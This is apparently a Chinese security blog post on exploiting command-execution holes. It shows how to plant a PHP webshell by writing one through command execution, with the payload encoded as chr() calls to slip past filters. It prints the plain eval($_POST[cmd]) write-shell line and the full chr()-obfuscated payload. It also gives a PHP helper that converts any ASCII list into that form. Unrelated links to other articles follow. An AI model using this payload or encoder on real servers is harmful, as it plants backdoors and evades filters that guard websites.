一、在学习命令执行漏洞的过程中,遇到以下情况:

当服务器上传不了马或者马被过滤的时候,我们可以迂回一下,通过执行写马命令到服务器,在服务器里面写马,该命令是通过ascii编码过的命令,防止被过滤。

1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd])?>');   //写马命令
2
3 cmd=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(34).chr(97).chr(98).chr(46).chr(112).chr(104).chr(112).chr(34).chr(44).chr(34).chr(119).chr(34).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)); //用字符函数chr()表示的ascii转码后的命令

那么问题来了,命令直接转ascii码很简单,用一些编码转换工具就可以做到:

 
但是转换后只会生成一大串的ascii码,并不是以字符函数chr()来表示的,要是一个个添加chr()那会累死人的...所以决定利用php语言来帮我完成这项工作。
 
 
二、首先我们得到的是一大串数字,每个数字要用chr()包含,所以我们可以先把单独的ascii拆分开来,再以“).chr(”拼接。

要用到的函数有:

  • 拆分函数explode()

  • 用法:explode() 函数把字符串打散为数组。
  • 语法:explode(separator,string,limit)

  • 数组元素组合函数 implode()
  • 用法:implode() 函数返回一个由数组元素组合成的字符串。

  • 语法:implode(separator,array)

 
 
三、首先把所有ascii码赋值到$str,再用explode()将空格两边的数字拆下来赋值到$ary()函数,此时$ary()是一个数组
 
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);//拆分字符串
4
5 print_r($ary);//打印数组
6 ?>
 
把数组打印出来看看效果:
 
 
没问题,接着用implode()以").chr("将数组元素拼接起来,赋值到$ary2,然后修一下头尾就可以了:
 
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);
4
5 print_r($ary);//打印数组
6
7 $ary2=implode(').chr(', $ary);//用").chr("将数组元素拼接起来
8 echo "chr(".$ary2.")";//修一下头尾
9 ?>

输出就可以得到我们想要的了:

 
最后:编程能力啊编程能力真的很重要,笔者真惭愧,这个脚本几句话都花了一上午时间。。能力好事半功倍,能力差只能是到处搬砖的脚本小子

 

将大量ASCII码值转换成字符函数CHR()的小技巧的更多相关文章

  1. C语言:将ss所指字符串中所有下标为奇数位置的字母转换为大写-将该字符串中的所有字符按ASCII码值升序排序后输出。-将a所指的4*3矩阵第k行的元素与第0行元素交换。

    //函数fun:将ss所指字符串中所有下标为奇数位置的字母转换为大写,若不是字母,则不转换. #include<conio.h> #include<stdio.h> #incl ...

  2. C语言编程基础学习字符型数据的ASCII码值为何是负数?

    C语言是面向过程的,而C++是面向对象的 C和C++的区别: C是一个结构化语言,它的重点在于算法和数据结构.C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现 ...

  3. C语言字符型数据的ASCII码值为何是负数?

    有如下一段C语言程序: #include "stdio.h" int main(void) { char a = 0xC8; printf ("字符a的ASCII码值的1 ...

  4. 利用C语言识别用户输入字符并且输出该字符ASCII码值(大小写字母篇)(含思路)

    要求:从键盘输入一个字符,如果输入字符的是小写英文字母,则将其转换为大写英文字母,然后将转换后的英文字母及其ASCII码值输出到屏幕上,如果输入的是其他字符,则不转换并且直接将它及其ASCII码值输出 ...

  5. C语言之将无符号字符型转化为ascii码值

    这个宏是在linux内核中获取的,主要的功能是能够将一个无符号字符型的参数转化为ASCII码值. ASCII : ASCII 编码里包括了128个字符.用 十进制 0  到 127 来表示 .那就对了 ...

  6. C语言:将形参s所指字符串中所有ASCII码值小于97的字符存入形参t所指字符数组中,

    //将形参s所指字符串中所有ASCII码值小于97的字符存入形参t所指字符数组中,形成一个新串,并统计出符合条件的字符个数返回. //关注点:使用*(t+n)的方式可以不改变指针的指向,像数组一样处理 ...

  7. js控制文本框只能输入数字 及 常用字符对应ASCII码值

    方法一: <INPUT TYPE='text' NAME=text onkeypress="a()"><script language=javascript> ...

  8. sort将文件的每一行作为一个单位按ASCII码值进行比较

    1 sort的工作原理 sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出. [rocrocket@rocrocket progr ...

  9. 75. InputStreamReader和OutputStreamWriter(转换流--字节流转换成字符流)

    转换流: InputStreamReader   输入字节流转换成输入字符流OutputStreamWriter  输出字节流转换成输出字符流 总结:就是字节流转换成字符流,但是不能字节流转换成字节流 ...

随机推荐

  1. Spring AOP的源码流程

    一.AOP完成日志输出 1,导入AOP模块 <dependency> <groupId>org.springframework</groupId> <arti ...

  2. Excel查分系统搭建小技巧

    推荐一个教师必备工具"Yichafen",是一个在线查分系统,全国8000所高校都在用,三分钟极速创建发布查分系统 在工作学习中,我们经常会遇到查分系统这样的问题.培根说过:读书足 ...

  3. editplus更改编码

    1.在Tools下拉后选择Configure User Tools 2.在左边导航菜单找到File,对应右边视图中的Default encoding 3.将编码更改为utf-8,点击底部的OK保存.

  4. java线程实现的三种方式以及静态代理

    线程 一个进程中若开辟多个线程,线程的运行由调度器控制,先后顺序不能人为干预. 实现方式 继承 Thread类 调用run方法,只有主线程一条路 调用start方法,主线程和子线程并行交替执行 pub ...

  5. 开发C语言的3款神器,VS2019、VScode和IntelliJ Clion

    一.Visual Studio 2019环境安装配置+代码调试 环境安装配置 首先我们要在Visual Studio官方网站去下载安装包 进入官网后会发现有三种版本可供下载,分别是社区版.专业版和企业 ...

  6. 学习Python的书籍——入门到进阶

    入门读物 <Python基础教程>(Beginning Python From Novice to Professional) <Python学习手册>(Learning Py ...

  7. 【Azure 服务总线】详解Azure Service Bus SDK中接收消息时设置的maxConcurrentCalls,prefetchCount参数

    (Azure Service Bus服务总线的两大类消息处理方式: 队列Queue和主题Topic) 问题描述 使用Service Bus作为企业消息代理,当有大量的数据堆积再Queue或Topic中 ...

  8. x64dbg 条件断点相关文档

    输入 字符格式 条件断点 Input When using x64dbg you can often use various things as input. Commands Commands ha ...

  9. 【新阁教育】台达DVP-ES3 ModbusTCP通信案例

    本文主要针对台达DVP-ES3系列PLC,实现上位机与PLC之间的ModbusTCP通信. 一.硬件说明 DVP-ES3 系列为高阶应用可编程控制器, CPU 内置4 组高速计数器输入.4组轴输出(脉 ...

  10. springboot源码解析-管中窥豹系列之BeanDefine如何加载(十三)

    一.前言 Springboot源码解析是一件大工程,逐行逐句的去研究代码,会很枯燥,也不容易坚持下去. 我们不追求大而全,而是试着每次去研究一个小知识点,最终聚沙成塔,这就是我们的springboot ...